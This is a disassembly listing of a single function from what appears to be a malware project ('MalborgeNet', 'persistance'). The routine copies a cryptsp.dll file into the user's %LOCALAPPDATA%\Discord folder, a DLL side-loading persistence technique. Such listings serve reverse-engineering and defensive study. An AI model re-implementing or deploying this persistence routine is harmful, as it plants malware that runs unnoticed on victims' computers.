Function at 0x1400115c8
Capabilities:
Query environment variable

Disassembly:
jmp 0x14001b530
push rbp
push rdi
mov eax, 0x1a08
call fcn.14001119a
sub rsp, rax
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x4f6
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14002c040]
xor rax, rbp
mov qword [rbp + 0x19c8], rax
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0x20
lea rdx, str.C:Users_franrDocumentsdevelopmentMalborgeNetout_buildx86_debugpersistancecryptsp.dll
lea rcx, [rbp + 0x10]
call fcn.1400117d0
nop
lea rcx, str.localappdata
call qword [sym.imp.ucrtbased.dll_getenv]
mov rdx, rax
lea rcx, [rbp + 0x1908]
call fcn.1400113ac
mov qword [rbp + 0x19b8], rax
mov rax, qword [rbp + 0x19b8]
mov qword [rbp + 0x19c0], rax
lea r8, str.Discord_
mov rdx, qword [rbp + 0x19c0]
lea rcx, [rbp + 0x138]
call fcn.1400117c6
nop
lea rcx, [rbp + 0x1908]
call fcn.1400111a4
lea rdx, str.cryptsp.dll
lea rcx, [rbp + 0x178]
call fcn.1400113ac
nop
lea r8, [rbp + 0x178]
lea rdx, [rbp + 0x138]
lea rcx, [rbp + 0x1948]
call fcn.1400116d6
mov qword [rbp + 0x19b8], rax
mov rax, qword [rbp + 0x19b8]
mov qword [rbp + 0x19c0], rax
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0x20
mov rdx, qword [rbp + 0x19c0]
lea rcx, [rbp + 0x1c0]
call fcn.1400118b1
nop
lea rcx, [rbp + 0x1948]
call fcn.1400111a4
mov r8d, 0x1000
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x10]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::read_char____ptr64__long_long___int64_____ptr64]
mov qword [rbp + 0x1988], rax
mov rax, qword [rbp + 0x1988]
mov rax, qword [rax]
movsxd rax, dword [rax + 4]
mov rcx, qword [rbp + 0x1988]
add rcx, rax
mov rax, rcx
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
movzx eax, al
test eax, eax
je 0x14001b6c0
mov r8d, 0x1000
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x1c0]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
jmp 0x14001b65b
lea rcx, [rbp + 0x10]
call qword [sym.imp.MSVCP140D.dll_public:_long_long___int64____cdecl_std::basic_istream_char__struct_std::char_traits_char__::gcount_void_const___ptr64]
mov r8, rax
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x1c0]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x10]
call fcn.1400114bf
lea rcx, [rbp + 0x1c0]
call fcn.140011460
mov dword [rbp + 0x19a4], 0
lea rcx, [rbp + 0x1c0]
call fcn.140011226
nop
lea rcx, [rbp + 0x178]
call fcn.1400111a4
nop
lea rcx, [rbp + 0x138]
call fcn.1400111a4
nop
lea rcx, [rbp + 0x10]
call fcn.140011168
mov eax, dword [rbp + 0x19a4]
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, [0x140026230]
call fcn.1400116fe
mov eax, edi
mov rcx, qword [rbp + 0x19c8]
xor rcx, rbp
call fcn.14001140b
lea rsp, [rbp + 0x19d8]
pop rdi
pop rbp
ret